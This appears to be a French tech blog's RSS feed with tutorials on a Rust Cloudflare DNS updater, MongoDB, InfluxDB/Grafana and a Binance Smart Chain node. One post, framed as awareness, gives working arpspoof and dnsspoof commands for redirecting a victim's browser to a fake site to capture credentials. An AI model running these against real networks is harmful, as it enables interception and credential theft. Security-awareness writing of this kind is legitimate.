<p>J&rsquo;ai créé un utilitaire système permettant de mettre à jour un record DNS de type A sur Cloudflare avec l&rsquo;IP dynamique d&rsquo;une box internet. Je voulais un petit utilitaire simple transformé en binaire pour ne pas avoir à gérer de dépendances Python ou Node sur le système et ne pas avoir gérer de pipeline CICD. C&rsquo;était aussi un petit use case très simple pour expérimenter Rust.</p>
<br/>
<p>Création de la structure du projet:</p>
<pre tabindex="0"><code>cargo new update-cloudflare-A-DNS-record
</code></pre><br/>
<p>Ajouter le contenu suivant dans le fichier <code>./src/main.rs</code>: (je rappelle que c&rsquo;est la première fois que je fais du Rust et j&rsquo;ai bien galéré. Donc c&rsquo;est sans doute loin d&rsquo;être clean et optimisé. Bon par contre, cela fonctionne très bien). Pensez à remplacer <code>VOTRE_DNS</code> par votre propre DNS cloudflare si vous voulez faire la même chose.</p>
<pre tabindex="0"><code>use std::net::{IpAddr};
use serde::{Deserialize, Serialize};
use std::collections::HashMap;

fn main() {
    println!(&#34;Getting public IP&#34;);
    let ip = get_public_ip();
    println!(&#34;Public IP address: {:?}&#34;, ip);
    println!(&#34;Updating DNS A record with public IP&#34;);
    update_cloudflare_a_record(ip)
}

fn get_public_ip() -&gt; IpAddr {
    tokio::runtime::Runtime::new().unwrap().block_on(async {
        let ip: IpAddr = &#34;127.0.0.1&#34;.parse().unwrap();
        if let Some(ip) = public_ip::addr().await {
            return ip
        } else {
            println!(&#34;couldn&#39;t get an IP address&#34;);
        }
        return ip;
    })
}

fn update_cloudflare_a_record(ip: IpAddr) {
    tokio::runtime::Runtime::new().unwrap().block_on(async {
        let client = reqwest::Client::new();

        // Get zones
        // curl -s -X GET &#34;https://api.cloudflare.com/client/v4/zones/?per_page=100&#34; \
        -H &#34;Authorization: Bearer ${CLOUDFLARE_API_KEY}&#34; \
        -H &#34;Content-Type: application/json&#34;| jq -r &#39;.result[] | &#34;\(.id) \(.name)&#34;&#39;

        // Get DNS informations
        // curl -X GET &#34;https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records&#34; \
        // -H &#34;Content-Type:application/json&#34; \
        // -H &#34;Authorization: Bearer ${CLOUDFLARE_API_KEY}&#34;

        // Update DNS record
        // curl -X PUT &#34;https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records/${DNS_ID}&#34; \
        // -H &#34;Authorization: Bearer ${CLOUDFLARE_API_KEY}&#34; \
        // -H &#34;Content-Type: application/json&#34; \
        // --data &#39;{&#34;type&#34;:&#34;A&#34;,&#34;name&#34;:&#34;VOTRE_DNS&#34;,&#34;content&#34;:&#34;127.0.0.1&#34;,&#34;ttl&#34;:1,&#34;proxied&#34;:false}&#39;

        let s: String = ip.to_string();

        let mut map = HashMap::new();
        map.insert(&#34;type&#34;, &#34;A&#34;);
        map.insert(&#34;name&#34;,&#34;VOTRE_DNS&#34;);
        map.insert(&#34;content&#34;, &amp;s);

        let res = client.put(&#34;https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records/${DNS_ID}&#34;)
            .bearer_auth(&#34;${CLOUDFLARE_API_KEY}&#34;)
            .json(&amp;map)
            .send()
            .await.unwrap();

        let t = res
            .text()
            .await.unwrap();

        println!(&#34;{}&#34;, t);
    })
}
</code></pre><br/>
<p>Ajouter les packages permettant de faire les calls externes. Editer le fichier <code>Cargo.toml</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>[package]
name = &#34;update-cloudflare-A-DNS-record&#34;
version = &#34;0.1.0&#34;
authors = [&#34;Olivier Eeckhoutte &lt;olivier.eeckhoutte@gmail.com&gt;&#34;]
edition = &#34;2018&#34;

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
reqwest = { version = &#34;0.11.3&#34;, features = [&#34;json&#34;] }
tokio = { version = &#34;1&#34;, features = [&#34;full&#34;] }
public-ip = &#34;0.2&#34;
serde = &#34;1.0.8&#34;
serde_derive = &#34;1.0.8&#34;
serde_json = &#34;1.0&#34;
</code></pre><br/>
<p>Télécharger les packages externes, compiler et builder le projet:</p>
<pre tabindex="0"><code>cargo build (debug mode)
# cargo build --release (for prod)
</code></pre><br/>
<p>Voir le résultat (exécuter le binaire):</p>
<pre tabindex="0"><code>./target/debug/update-cloudflare-A-DNS-record
</code></pre><br/>
<h2 id="build-for-linux-from-mac">Build for Linux from Mac</h2>
<p>Je travaille sur Mac, du coup pour obtenir un binaire compatible avec Linux, je usis passé par Docker. J&rsquo;ai créé une image qui contient tout le nécessaire pour builder mon programme Rust sur Linux. Maintenant je n&rsquo;ai plus qu&rsquo;à exécuter la commande ci-dessous et un dossier <code>linux</code> se crée dans le répertoire target.</p>
<pre tabindex="0"><code>docker run --rm \
    --volume &#34;${PWD}&#34;:/root/src \
    --workdir /root/src \
    build_from_mac_for_linux:latest \
    sh -c &#34;cargo build --release&#34;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer MongoDB en tant que service sur Ubuntu 20.04</title>
            <link>https://leandeep.com/installer-mongodb-en-tant-que-service-sur-ubuntu-20.04/</link>
            <pubDate>Sun, 02 May 2021 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-mongodb-en-tant-que-service-sur-ubuntu-20.04/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Importer la clé GPG&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -fsSL https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
# Vérifier qu&amp;#39;elle est bien installée
# apt-key list
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Ajouter la source dans APT en créant un fichier relatif à MongoDB dans le répertoire &lt;code&gt;sources.list.d&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#34;deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse&amp;#34; | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Installer MongoDB&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt install mongodb-org
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Démarrer le service&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo systemctl start mongod.service
sudo systemctl status mongod
sudo systemctl enable mongod
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Vérifier le bon fonctionnement&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Installation</strong></p>
<p>Importer la clé GPG</p>
<pre tabindex="0"><code>curl -fsSL https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
# Vérifier qu&#39;elle est bien installée
# apt-key list
</code></pre><br/>
<p>Ajouter la source dans APT en créant un fichier relatif à MongoDB dans le répertoire <code>sources.list.d</code></p>
<pre tabindex="0"><code>echo &#34;deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse&#34; | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
</code></pre><br/>
<p>Installer MongoDB</p>
<pre tabindex="0"><code>sudo apt update
sudo apt install mongodb-org
</code></pre><br/>
<p>Démarrer le service</p>
<pre tabindex="0"><code>sudo systemctl start mongod.service
sudo systemctl status mongod
sudo systemctl enable mongod
</code></pre><br/>
<p>Vérifier le bon fonctionnement</p>
<pre tabindex="0"><code>mongo --eval &#39;db.runCommand({ connectionStatus: 1 })&#39;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer InfluxDB 1.8 via Docker</title>
            <link>https://leandeep.com/installer-influxdb-1.8-via-docker/</link>
            <pubDate>Sun, 25 Apr 2021 20:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-influxdb-1.8-via-docker/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment installer InfluxDB 1.8 et Grafana via Docker. Nous utiliserons aussi Telegraf pour vérifier que l&amp;rsquo;installation fonctionne bien.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour me simplifier la vie, je suis resté sur la version 1.8. La v2 est déjà disponible mais la doc étant peu fournie ou fausse, j&amp;rsquo;ai préféré ne pas me prendre la tête. (Dev perso)&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Docker-compose&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;docker-compose.yml&lt;/code&gt; et ajouter le contenu suivant:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment installer InfluxDB 1.8 et Grafana via Docker. Nous utiliserons aussi Telegraf pour vérifier que l&rsquo;installation fonctionne bien.</p>
<blockquote>
<p>Pour me simplifier la vie, je suis resté sur la version 1.8. La v2 est déjà disponible mais la doc étant peu fournie ou fausse, j&rsquo;ai préféré ne pas me prendre la tête. (Dev perso)</p></blockquote>
<br/>
<p><strong>Docker-compose</strong></p>
<p>Créer un fichier <code>docker-compose.yml</code> et ajouter le contenu suivant:</p>
<blockquote>
<p>Remplacer <code>192.168.43.5</code> par votre IP.</p></blockquote>
<pre tabindex="0"><code>version: &#34;2&#34;
services:
  grafana:
    image: grafana/grafana
    container_name: grafana
    restart: always
    ports:
      - 3000:3000
    networks:
      - monitoring
    volumes:
      - grafana-volume:/vol01/Docker/monitoring
  influxdb:
    image: influxdb:1.8
    container_name: influxdb
    restart: always
    ports:
      - 8086:8086
    networks:
      - monitoring
    volumes:
      - influxdb-volume:/vol01/Docker/monitoring
    environment:
      - INFLUXDB_DB=telegraf
      - INFLUXDB_USER=telegraf
      - INFLUXDB_ADMIN_ENABLED=true

      - INFLUXDB_ADMIN_USER=admin
      - INFLUXDB_ADMIN_PASSWORD=Welcome1 
  telegraf:
    image: telegraf
    container_name: telegraf
    restart: always
    extra_hosts:
     - &#34;influxdb:192.168.43.5&#34;
    environment:
      HOST_PROC: /rootfs/proc
      HOST_SYS: /rootfs/sys
      HOST_ETC: /rootfs/etc
    volumes:
     - ./telegraf.conf:/etc/telegraf/telegraf.conf:ro
     - /var/run/docker.sock:/var/run/docker.sock:ro
     - /sys:/rootfs/sys:ro
     - /proc:/rootfs/proc:ro
     - /etc:/rootfs/etc:ro
networks:
  monitoring:
volumes:
  grafana-volume:
  influxdb-volume:
</code></pre><br/>
<p><strong>Configuration Telegraf</strong></p>
<p>Créer un fichier <code>telegraf.conf</code> et ajouter le contenu suivant:</p>
<blockquote>
<p>Une fois encore remplacer <code>192.168.43.5</code> par votre IP.</p></blockquote>
<pre tabindex="0"><code>[global_tags]

[agent]
  interval = &#34;60s&#34;
  round_interval = true
  metric_batch_size = 1000
  metric_buffer_limit = 10000
  collection_jitter = &#34;0s&#34;
  flush_interval = &#34;10s&#34;
  flush_jitter = &#34;0s&#34;
  precision = &#34;&#34;
  hostname = &#34;192.168.43.5&#34;
  omit_hostname = false

[[outputs.influxdb]]
urls = [&#34;http://192.168.43.5:8086&#34;]
database = &#34;telegraf&#34;
timeout = &#34;5s&#34;
username = &#34;telegraf&#34;
password = &#34;Welcome1&#34;


[[inputs.ping]]
interval = &#34;5s&#34;
urls = [&#34;192.168.0.44&#34;, &#34;192.168.0.131&#34;, &#34;192.168.0.130&#34;, &#34;google.com&#34;, &#34;amazon.com&#34;, &#34;github.com&#34;]
count = 4
ping_interval = 1.0
timeout = 2.0


[[inputs.cpu]]
  percpu = true
  totalcpu = true
  collect_cpu_time = false
  report_active = false


[[inputs.disk]]
  ignore_fs = [&#34;tmpfs&#34;, &#34;devtmpfs&#34;, &#34;devfs&#34;, &#34;iso9660&#34;, &#34;overlay&#34;, &#34;aufs&#34;, &#34;squashfs&#34;]

[[inputs.diskio]]

[[inputs.kernel]]

[[inputs.mem]]

[[inputs.processes]]

[[inputs.swap]]

[[inputs.system]]
</code></pre><br/>
<p><strong>Démarrage et configuration du service</strong></p>
<p>Démarrer les containers Docker avec <code>docker-compose up</code>.</p>
<p>Rendez-vous sur Grafana 
<a target="_blank" href="http://localhost:3000">http://localhost:3000</a> et ajouter la data source &ldquo;InfluxDB&rdquo; contenant les données générées par Telegraf.</p>
<br/>
<p><img src="/images/add-telegraf-datasource.png" alt="image"></p>
<p>Cliquer sur &ldquo;Save &amp; Test&rdquo;.</p>
<br/>
<p><strong>Vérification de l&rsquo;existance des données</strong></p>
<p>Dans un terminal, exécuter les commandes suivantes:</p>
<pre tabindex="0"><code># Installer influxdb cli sur OSX
# brew install influxdb@1 

influx
&gt; SHOW DATABASES
&gt; USE telegraf
&gt; show measurements
&gt; select * from cpu limit 5

# Output si ok
name: cpu
time                cpu       host         usage_guest usage_guest_nice usage_idle        usage_iowait         usage_irq usage_nice usage_softirq        usage_steal usage_system       usage_user
----                ---       ----         ----------- ---------------- ----------        ------------         --------- ---------- -------------        ----------- ------------       ----------
1619382480000000000 cpu-total 192.168.43.5 0           0                98.37529772028607 0.034025178632189054 0         0          0.025518883974126678 0           1.1993875467839268 0.3657706702958993
1619382480000000000 cpu0      192.168.43.5 0           0                98.43670348345952 0                    0         0          0.03398470688191586  0           1.1554800339848859 0.37383177570112885
1619382480000000000 cpu1      192.168.43.5 0           0                98.33049403741326 0.05110732538324606  0         0          0.03407155025550141  0           1.2436115843252507 0.3407155025549415
1619382540000000000 cpu-total 192.168.43.5 0           0                98.59011381006363 0.04246645150323513  0         0          0.02547987090196522  0           1.087141158483978  0.2547987090196039
1619382540000000000 cpu0      192.168.43.5 0           0                98.6591989138166  0                    0         0          0.016972165648342568 0           1.0692464358456948 0.25458248472508277
</code></pre><br/>
<p><strong>Création des Diagrammes</strong></p>
<p>Si tout se passe bien et que vous avez des data, vous pouvez retourner sur la page d&rsquo;accueil de Grafana et créer un nouveau Dashboard.</p>
<p>Créer ensuite un diagramme et utilisez les data Telegraf à disposition. Par exemple:</p>
<p><img src="/images/telegraf-example.png" alt="image"></p>
<br/>
<p><strong>Autres diagrammes</strong></p>
<p>Voilà, maintenant que vous avez vérifié que votre installation fonctionne correctement, vous pouvez créer une nouvelle DB Influx et commencer à écrire des data.</p>
<pre tabindex="0"><code>influx
&gt; CREATE DATABASE test
&gt; SHOW DATABASES
</code></pre><br/>
<p>Exemple de code NodeJS:</p>
<blockquote>
<p>Installation le package influx: <code>npm i --save influx</code>. Doc officielle: <a href="https://node-influx.github.io/">https://node-influx.github.io/</a></p></blockquote>
<pre tabindex="0"><code>    const influx = new Influx.InfluxDB({
        host: &#39;192.168.43.5&#39;,
        database: &#39;test&#39;,
        port: 8086
    });
    
    /*
    influx.getDatabaseNames()
        .then(names =&gt; {
            if (!names.include(&#39;test&#39;)) {
                return influx.createDatabase(&#39;test&#39;);
            }
        });
    */

    influx.writePoints([
        {
            measurement: &#39;price&#39;,
            tags: { exchange: &#34;uniswap&#34;, pool: &#34;dai/weth&#34; },
            fields: { dai: amount, weth: 2300 }
        }])
        .then(() =&gt; {
            console.log(&#39;Added data to the Db&#39;);

        });
</code></pre><br/>
<p>Et amusez vous à créer des charts. Par exemple, voici un chart (créé ultra rapidement) qui affiche les montants des transactions effectuées en DAI sur un smart contract dans la Blockchain&hellip;</p>
<p><img src="/images/DAI-chart.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Faire tourner un noeud Binance Smart Chain</title>
            <link>https://leandeep.com/faire-tourner-un-noeud-binance-smart-chain/</link>
            <pubDate>Sat, 24 Apr 2021 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/faire-tourner-un-noeud-binance-smart-chain/</guid>
            <description>&lt;p&gt;Ce court article décrit comment faire tourner un noeud BSC (Binance Smart Chain) sur une machine Linux&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;mainnet&#34;&gt;Mainnet&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir ~/bsc &amp;amp;&amp;amp; cd $_
wget https://github.com/binance-chain/bsc/releases/download/v1.0.7/geth_linux
wget $(curl -s https://api.github.com/repos/binance-chain/bsc/releases/latest |grep browser_ |grep mainnet |cut -d\&amp;#34; -f4)
mv ./geth_linux ./geth_bsc

# Note: you can eventually move the binary to /usr/bin/ 

sudo chmod +x ./geth_bsc
./geth_bsc --datadir node init genesis.json

# Start the full Node
./geth_bsc --config ./config.toml --datadir ./node --pprofaddr 0.0.0.0 --metrics --pprof --verbosity 6 --nousb --cache=8192

# Dans un autre terminal
cd ~/bsc/node
tail -f ./bsc.log
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;August 2021 Update&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;
BREAKING CHANGE: Non-EIP155 transactions (i.e. transactions which are not replay-protected) are now rejected by the RPC API. You can disable this restriction using the &amp;ndash;rpc.allow-unprotected-txs command-line flag.&lt;br/&gt;&lt;br/&gt;
&lt;code&gt;./geth_linux --config ./config.toml --datadir ./node  --cache 18000 --rpc.allow-unprotected-txs --txlookuplimit 0&lt;/code&gt;
&lt;br/&gt;&lt;br/&gt;
Ou dans mon cas:&lt;br/&gt;
&lt;code&gt;./geth_linux --config ./config.toml --datadir ./node  --cache 18000 --rpc.allow-unprotected-txs --http.api 8545 --http.addr 0.0.0.0 --http --ws --metrics --ws.addr 0.0.0.0 --verbosity 6  --txlookuplimit 0&lt;/code&gt;
&lt;br/&gt;&lt;br/&gt;
&lt;em&gt;I use geth-linux version 1.1.1&lt;/em&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Ce court article décrit comment faire tourner un noeud BSC (Binance Smart Chain) sur une machine Linux</p>
<br/>
<h2 id="mainnet">Mainnet</h2>
<pre tabindex="0"><code>mkdir ~/bsc &amp;&amp; cd $_
wget https://github.com/binance-chain/bsc/releases/download/v1.0.7/geth_linux
wget $(curl -s https://api.github.com/repos/binance-chain/bsc/releases/latest |grep browser_ |grep mainnet |cut -d\&#34; -f4)
mv ./geth_linux ./geth_bsc

# Note: you can eventually move the binary to /usr/bin/ 

sudo chmod +x ./geth_bsc
./geth_bsc --datadir node init genesis.json

# Start the full Node
./geth_bsc --config ./config.toml --datadir ./node --pprofaddr 0.0.0.0 --metrics --pprof --verbosity 6 --nousb --cache=8192

# Dans un autre terminal
cd ~/bsc/node
tail -f ./bsc.log
</code></pre><br/>
<blockquote>
<p><strong>August 2021 Update</strong><br/><br/>
BREAKING CHANGE: Non-EIP155 transactions (i.e. transactions which are not replay-protected) are now rejected by the RPC API. You can disable this restriction using the &ndash;rpc.allow-unprotected-txs command-line flag.<br/><br/>
<code>./geth_linux --config ./config.toml --datadir ./node  --cache 18000 --rpc.allow-unprotected-txs --txlookuplimit 0</code>
<br/><br/>
Ou dans mon cas:<br/>
<code>./geth_linux --config ./config.toml --datadir ./node  --cache 18000 --rpc.allow-unprotected-txs --http.api 8545 --http.addr 0.0.0.0 --http --ws --metrics --ws.addr 0.0.0.0 --verbosity 6  --txlookuplimit 0</code>
<br/><br/>
<em>I use geth-linux version 1.1.1</em></p></blockquote>
<blockquote>
<p><strong>May 2022 Update</strong><br/><br/>
Mise à jour de la procédure d&rsquo;installation:</p>
<pre tabindex="0"><code>wget https://github.com/binance-chain/bsc/releases/download/v1.1.10/geth_linux
mv ./geth_linux ./geth_bsc
sudo chmod +x ./geth_bsc
wget $(https://api.github.com/repositories/265775217/releases/latest |grep browser_ |grep mainnet |cut -d\&#34; -f4)
unzip mainnet.zip
./geth_bsc --datadir node init genesis.json
./geth_bsc --config ./config.toml --datadir ./node --diffsync --cache 8000 --rpc.allow-unprotected-txs --txlookuplimit 0
</code></pre><p>Pour voir les logs dans un autre terminal:</p>
<pre tabindex="0"><code>cd ~/bsc/node
tail -f ./bsc.log
</code></pre></blockquote>
<h2 id="troubleshooting">Troubleshooting</h2>
<ul>
<li><code>web3.exceptions.ExtraDataLengthError: The field extraData is 517 bytes, but should be 32.</code>: Web3 essaye de se connecter à une &ldquo;POA chain&rdquo;.
<br/>
<br/>
<strong>Workaround:</strong>
<pre tabindex="0"><code>from web3.middleware import geth_poa_middleware
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
</code></pre></li>
</ul>
<br/>
<ul>
<li><code>web3.exceptions.BadFunctionCallOutput: Could not transact with/call contract function, is contract deployed correctly and chain synced?</code>: utiliser <code>transact()</code> à la place de <code>call()</code></li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Comment un hacker peut vous voler vos credentials en 5 minutes</title>
            <link>https://leandeep.com/comment-un-hacker-peut-vous-voler-vos-credentials-en-5-minutes/</link>
            <pubDate>Sat, 17 Apr 2021 19:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/comment-un-hacker-peut-vous-voler-vos-credentials-en-5-minutes/</guid>
            <description>&lt;p&gt;On croit toujours que ce sont les autres qui se hacker. &amp;ldquo;Cela n&amp;rsquo;arrive qu&amp;rsquo;aux autres&amp;rdquo;, on se sent protégé derrière son petit écran. Pourtant nous sommes des cibles faciles pour les hackers car parfois il suffit d&amp;rsquo;exécuter moins d&amp;rsquo;une dizaine de commandes pour mettre en place des pièges redoutables. Dans cet article, qui a purement &lt;strong&gt;un but pédagogique&lt;/strong&gt;, nous allons voir à quel point il est simple de faire croire à quelqu&amp;rsquo;un qu&amp;rsquo;il navigue sur le site de son choix alors qu&amp;rsquo;il a attéri sur un site détenu par un hacker. Encore une fois, cet article a un but pédagogique. Il est strictement interdit d&amp;rsquo;appliquer cette technique sur des ordinateurs et un réseau dont vous n&amp;rsquo;êtes pas propriétaire. Vous encourez jusqu&amp;rsquo;à deux ans d&amp;rsquo;emprisonnement et 60 000 € d&amp;rsquo;amende&amp;hellip; Ceci étant dit et étant dédouané de toute responsabilité, nous allons voir comment réaliser un Man in the middle en spoofant un DNS et en redirigeant le traffic du navigateur vers un serveur Web.
Il est selon moi important de comprendre à quel point ces techniques sont simples à mettre en place pour être sensibilisé, être (pourquoi pas) paranoïaque et surtpout pour mieux se protéger. Que diriez-vous si un hacker s&amp;rsquo;était connecté à votre bancaire car vous lui aviez donné vos identifiants ?
Et ne croyez pas qu&amp;rsquo;un simple SMS de validation suffise&amp;hellip; Un réseau 4G peut également se faire pirater. Je vous invite à faire des recherches sur les IMSI catchers&amp;hellip; Pour 300€ un hacker peut s&amp;rsquo;en fabriquer un en 2021 et intercepter vos SMS&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>On croit toujours que ce sont les autres qui se hacker. &ldquo;Cela n&rsquo;arrive qu&rsquo;aux autres&rdquo;, on se sent protégé derrière son petit écran. Pourtant nous sommes des cibles faciles pour les hackers car parfois il suffit d&rsquo;exécuter moins d&rsquo;une dizaine de commandes pour mettre en place des pièges redoutables. Dans cet article, qui a purement <strong>un but pédagogique</strong>, nous allons voir à quel point il est simple de faire croire à quelqu&rsquo;un qu&rsquo;il navigue sur le site de son choix alors qu&rsquo;il a attéri sur un site détenu par un hacker. Encore une fois, cet article a un but pédagogique. Il est strictement interdit d&rsquo;appliquer cette technique sur des ordinateurs et un réseau dont vous n&rsquo;êtes pas propriétaire. Vous encourez jusqu&rsquo;à deux ans d&rsquo;emprisonnement et 60 000 € d&rsquo;amende&hellip; Ceci étant dit et étant dédouané de toute responsabilité, nous allons voir comment réaliser un Man in the middle en spoofant un DNS et en redirigeant le traffic du navigateur vers un serveur Web.
Il est selon moi important de comprendre à quel point ces techniques sont simples à mettre en place pour être sensibilisé, être (pourquoi pas) paranoïaque et surtpout pour mieux se protéger. Que diriez-vous si un hacker s&rsquo;était connecté à votre bancaire car vous lui aviez donné vos identifiants ?
Et ne croyez pas qu&rsquo;un simple SMS de validation suffise&hellip; Un réseau 4G peut également se faire pirater. Je vous invite à faire des recherches sur les IMSI catchers&hellip; Pour 300€ un hacker peut s&rsquo;en fabriquer un en 2021 et intercepter vos SMS&hellip;</p>
<br/>
<h1 id="installation-des-outils-sur-kali-linux">Installation des outils sur Kali Linux</h1>
<p>Ouvrir un terminal et installer les packages suivants:</p>
<pre tabindex="0"><code>sudo apt install dsniff bridge-utils -y
sudo echo 1 &gt; /proc/sys/net/ipv4/forward_ip
</code></pre><br/>
<h1 id="configuration-du-dns">Configuration du DNS</h1>
<p>N&rsquo;importe où dans votre machine Kali créer un fichier appelé <code>spoof_url.txt</code> et ajouter les URLs que vous souhaitez spoofer.</p>
<pre tabindex="0"><code>192.168.43.109 www*
192.168.43.109 leandeep.com
</code></pre><blockquote>
<p><code>192.168.43.109</code> est l&rsquo;adresse IP de ma machine Kali</p></blockquote>
<br/>
<h1 id="arp-spoofing-de-votre-cible">ARP Spoofing (de votre cible)</h1>
<p>Récupérer l&rsquo;adresse IP de la machine cible. Dans notre exemple, elle a l&rsquo;IP <code>192.168.43.5</code>.
Dans un nouveau terminal, exécuter la commande suivante:</p>
<pre tabindex="0"><code>sudo -s
arpspoof -t 192.168.43.5 192.168.43.1 &amp;&amp; arpspoof -t 192.168.43.1 192.168.43.5 
</code></pre><br/>
<h1 id="démarrage-du-serveur-web-sur-kali">Démarrage du serveur Web sur Kali</h1>
<p>Donner au fichier localisé dans <code>/var/www/html/index.html</code> le contenu HTML que vous voulez que votre cible voit.
Example sans intérêt, dont un hacker ne se contentera pas:</p>
<pre tabindex="0"><code>&lt;h1&gt;Hello World&lt;/h1&gt;
</code></pre><p>Puis exécuter la commande suivante: <code>sudo apache2ctl start</code></p>
<br/>
<h1 id="démarrage-du-serveur-dns">Démarrage du serveur DNS</h1>
<pre tabindex="0"><code>dnsspoof -f Desktop/spoof_url.txt host 192.168.43.5 and udp port 53
</code></pre><br/>
<h1 id="résultat">Résultat</h1>
<p>Sur la machine cible/victime, ouvrez votre navigateur et rendez-vous sur le site que vous avez &ldquo;spoofé&rdquo;. Vous verrez que le contenu de votre serveur web. <strong>Au lieu d&rsquo;avoir Hello World, si un hacker avait mis un clone du site que vous vouliez voiret que vous aviez tenté de vous y connecter, il aurait pu récupérer vos credentials.</strong> C&rsquo;est aussi simple que cela et créer un clone d&rsquo;un site existant ne prend que quelques minutes. Il suffit de l&rsquo;aspirer automatiquement avec des outils dédiés à cela et modifier 2 ou 3 choses et c&rsquo;est tout!</p>
<p><img src="/images/spoof-dns.png" alt="image"></p>
<p><strong>La prochaine fois que vous vous connecterez à un réseau publique gratuit, réfléchissez bien à ce que vous faites 😜</strong></p>
<p>Personnellement, j&rsquo;utilise un secured VPN ou travaille en 4G dès que je sors de chez moi et j&rsquo;ai sécurisé mon Smartphone pour détecter les fausses bornes 4G.</p>
]]></content>
        </item>
        
        <item>
            <title>The cutest dog of the InterPlanetary File System</title>
            <link>https://leandeep.com/the-cutest-dog-of-the-interplanetary-file-system/</link>
            <pubDate>Sat, 10 Apr 2021 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/the-cutest-dog-of-the-interplanetary-file-system/</guid>
            <description>&lt;p&gt;Tout est dans le titre. Si vous ne connaissez pas IFPS &lt;a href=&#34;https://ipfs.io/&#34;&gt;https://ipfs.io/&lt;/a&gt;, je vous recommande d&amp;rsquo;aller jeter un oeil !&lt;/p&gt;

&lt;div style=&#34;word-wrap: break-word;&#34;&gt;&lt;b&gt;Image URL -&gt; &lt;/b&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://ipfs.io/ipfs/QmRHUJ4fMMvj5A5NXeXHfRuVCX5uCzWqzSvd3JpctzhsvZ?filename=fauve.png&#34;&gt;https://ipfs.io/ipfs/QmRHUJ4fMMvj5A5NXeXHfRuVCX5uCzWqzSvd3JpctzhsvZ?filename=fauve.png&lt;/a&gt;&lt;br/&gt;&lt;center&gt;&lt;img src=&#34;https://ipfs.io/ipfs/QmRHUJ4fMMvj5A5NXeXHfRuVCX5uCzWqzSvd3JpctzhsvZ?filename=fauve.png&#34; width=&#34;50%&#34; height=&#34;100%&#34;&gt;&lt;/center&gt;&lt;/div&gt;
&lt;p&gt;&lt;br/&gt;
&lt;strong&gt;Extrait Wikipédia&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/ipfs.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Le navigateur Brave a ajouté le support à ce protocole: &lt;a href=&#34;https://brave.com/ipfs-support/&#34;&gt;https://brave.com/ipfs-support/&lt;/a&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Extinction du daemon (photo toujours accessible) et optimisation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai éteint le daemon IPFS qui tourait sur mon Mac, vidé mon cache et rechargé cette page et la photo de mon chien est toujours accessible. La photo a donc été répliquée chez d&amp;rsquo;autres peers. Il faut encore que je creuse pour savoir combien de peers possèdent cette photo (ou chunks de photo). Est-elle réllement ad vitam æternam stockée sur IPFS ?&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Tout est dans le titre. Si vous ne connaissez pas IFPS <a href="https://ipfs.io/">https://ipfs.io/</a>, je vous recommande d&rsquo;aller jeter un oeil !</p>

